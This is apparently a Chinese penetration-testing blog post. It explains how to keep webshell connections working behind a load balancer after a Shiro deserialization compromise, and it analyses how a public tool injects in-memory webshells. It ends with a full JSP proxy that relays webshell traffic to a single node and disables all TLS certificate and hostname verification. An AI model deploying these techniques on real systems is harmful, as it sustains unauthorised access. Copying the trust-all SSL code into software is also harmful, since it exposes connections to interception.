负载均衡踩坑记

​ 事情是这样的,最近有个渗透的小伙伴找我,它通过shiro反序列化植入内存马获取了一个shell,但这台主机上有负载均衡,所以通过冰蝎、蚁剑等连接工具上传大文件会上传失败,需要我这边提供解决方案。

问题分析

问题一:为什么shell管理工具文件上传需要分包?

​ 我使用蚁剑做了测试,蚁剑配置shell可以在其他设置中设置分片的大小,默认是500kb,那有小伙伴可能要说了,那我将这个值改成一个比较大的值不就可以一次性上传大文件也就相当于解决了负载均衡的问题。

image-20210924111448792

​ 理论上是没错的,我们改分包的大小为5000kb试试,提示上传失败!

image-20210924111602702

​ 抓包可以看到确实发起了上传请求但是并没有获取到返回结果,并且我们可以看到上传的内容都是在z2参数中,那么会不会是请求参数有大小限制导致的?

image-20210924111529941

​ 经过查阅资料,Tomcat默认参数大小为2M,所以才需要对上传操作分包上传。

image-20210924112151502

问题二:是否有其他方式上传大文件?

​ 虽然webshell管理工具没有提供一次上传大文件的方式,但实际上我们也可以自己构造一个上传点通过解析上传表单的内容实现一次性上传大文件的需求。虽然这种方案也算比较可行,可以解决目前的需求,但是并没有从本质上解决负载均衡下的webshell连接问题。

问题三:有什么方法可以解决负载均衡下的webshell连接问题?

​ 其实在很早以前Medicean表哥就分析过这个问题,可以参考负载均衡下的 WebShell 连接

​ 在这片文章中他提出了一个比较稳妥的解决方案,即实现HTTP代理,将所有对webshell的连接请求都代理到指定的一台节点上处理,我们只需要和代理交互即可

​ 虽然Medicean表哥提出了解决方案,不过并没有给出具体的实现代码,所以我们只能自己去写,不过这个逻辑本身也比较简单,请求代理url时构建一个新的url请求并发送到指定节点,最后获取返回结果并返回给客户端

环境搭建

​ 这里我开了两台web进行模拟。

  • tomcat 模拟负载均衡的主机,这台主机上有一个webshell(http://192.168.3.1:8088/test666.jsp)。
  • 使用springboot启动的web 模拟代理的功能(主要是为了方便调试),需要将所有对webshell的请求转发到tomcat中处理并获取返回结果(http://192.168.3.1:8089)。

问题处理

​ 首先是URL请求的问题,由于我们并不知道对方主机上是否有其他的第三方库处理HTTP请求,所以选择使用JDK自带的HttpsURLConnection来处理URL请求。可以分为下面几个步骤实现代理功能。

步骤一:接收请求内容并发给目标

​ 在获取请求内容时,我们的代理并不关注目标发送了什么数据,所以我这里决定使用request.getInputStream获取请求内容。但是这里有个小坑点,由于我是使用springboot来模拟proxy的,但springboot在到达我们的proxy Controller之前会读取InputStream中的内容,所以在proxy Controller中去读request.getInputStream是获取不到内容的

image-20210924121239642

​ 由于渗透小伙伴给的目标本身不解析JSP,我最终一定是要打一个内存马给他的,所以我这干脆找了个Filter的内存马,在doFilter中添加我们代理的逻辑。

image-20210924121830705

步骤二:获取目标返回结果并返回给客户端

​ 在获取返回包时,还有一个小坑,蚁剑的返回包是字符,所以我们直接用字符流获取返回内容并输出是没问题的,但是冰蝎的返回包却是字节码,用字符流处理会有问题,因此最终还是用OutputStream获取响应。

image-20210924134436463

效果演示

​ 下面是蚁剑的测试,proxy2是我注入的内存马的URL:

image-20210924135009915

image-20210924135425629

冰蝎演示

image-20210924140513691

内存马种植问题

​ 在本地调试通过后因为要把代理打到内存中,所以我在本地搭建了shiro测试。但是当我通过shiro植入内存马却爆了请求头过长的问题。

image-20210924141225088

image-20210924141459811

​ 但我用GITHUB上这款工具注入内存马却没有问题,抓包分析下它的内存马种植除了有remeberMe字段,还POST一个dy参数。

image-20210924141838161

​ 那我们分析下这款工具是如何注入内存马的。

​ 当我们执行内存马植入操作,主要会交给attack.core.AttackService#injectMem处理请求。GadgetPayload生成加密后的Remeberme的值,将这个值设置到Cookie中,并且植入内存马的密码和路径都会被设置到请求头中。接下来通过MemBytes.getBytes获取要注入的内存马的类的Base64后的字节码并设置到dy字段中。所以在dy参数中保存的才是真正的内存马。Cookie中保存的只是加载内存马的Loader。

image-20210924143925125

​ 分析过CC的同学一定知道,TemplatesImpl中最终会将_bytecodes中的类实例化,所以到服务端会执行InjectMemTool的构造方法。

image-20210924145443578

image-20210924145511067

image-20210924145652571

InjectMemTool构造方法中通过反射获取request对象的dy参数,Base64解码后通过defineClass加载类,最终实例化后调用equal方法。这里作者还是下了一些功夫的,为了压缩这个类的体积,将反射获取字段内容抽出来构造了getFV方法。

image-20210924145956729

​ 在作者提供的内存马中,equals方法会去通过addFilter或者addServlet添加内存马。

image-20210924150313488

​ 虽然了解了原理,但是自己手改这样的代码其实还是比较复杂的,所以我决定将作者提供的内存马的实现类的doFilter方法改成我们的代理类的内容,所以要分析MemBytes.getBytes的逻辑。getBytes根据传入的类型找到classname,再根据classnameMEM_TOOLS中找到实现类的字节码。

image-20210924162342542

​ 这个字节码在初始化时就会被放入Map中,所以理论上来讲,只要我们在Map里添加代理和实现类的Base64编码就可以扩展这个功能了。

image-20210924162537239

​ 理论上是这样没错,可是我将Proxy添加到map中,编译后覆盖掉原有的类后发现我的ProxyFilter并没有在界面上显示。

image-20210924173104339

​ 分析源码后发现这些值是写死的,所以不能通过这种方式扩展,只能通过将原有的Filter覆盖为我们的Proxy的方式来实现。可惜作者没有在GITHUB开源,而开不太方便。

image-20210924173231587

SSL问题

​ 本以为到这里就结束了,但目标是开启了SSL的tomcat,而这个SSL可能是使用的自签名,所以直接去请求会报错,我本地也给tomcat开启了SSL进行访问测试,发现会爆一个SSL的异常,所以这里我们还要加上一个判断,忽略SSL的验证。

image-20210924173914351

image-20210924174036647

完整实现

​ 最后给出完整实现的JSP版本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
public static void ignoreSsl() throws Exception {
HostnameVerifier hv = new HostnameVerifier() {
public boolean verify(String urlHostName, SSLSession session) {
return true;
}
};
trustAllHttpsCertificates();
HttpsURLConnection.setDefaultHostnameVerifier(hv);
}
private static void trustAllHttpsCertificates() throws Exception {
TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
public X509Certificate[] getAcceptedIssuers() {
return null;
}

@Override
public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}

@Override
public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
} };

try {
SSLContext sc = SSLContext.getInstance("TLS");

sc.init(null, trustAllCerts, new java.security.SecureRandom());

HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
} catch (KeyManagementException e) {
e.printStackTrace();
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
}
%>
<%
String target = "https://127.0.0.1:8443/test666.jsp";
URL url = new URL(target);
if ("https".equalsIgnoreCase(url.getProtocol())) {
ignoreSsl();
}
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
StringBuilder sb = new StringBuilder();
conn.setRequestMethod(request.getMethod());
conn.setConnectTimeout(30000);
conn.setDoOutput(true);
conn.setDoInput(true);
conn.setInstanceFollowRedirects(false);
conn.connect();
ByteArrayOutputStream baos=new ByteArrayOutputStream();
OutputStream out2 = conn.getOutputStream();
DataInputStream in=new DataInputStream(request.getInputStream());
byte[] buf = new byte[1024];
int len = 0;
while ((len = in.read(buf)) != -1) {
baos.write(buf, 0, len);
}
baos.flush();
baos.writeTo(out2);
baos.close();
InputStream inputStream = conn.getInputStream();
OutputStream out3=response.getOutputStream();
int len2 = 0;
while ((len2 = inputStream.read(buf)) != -1) {
out3.write(buf, 0, len2);
}
out3.flush();
out3.close();
%>

参考文章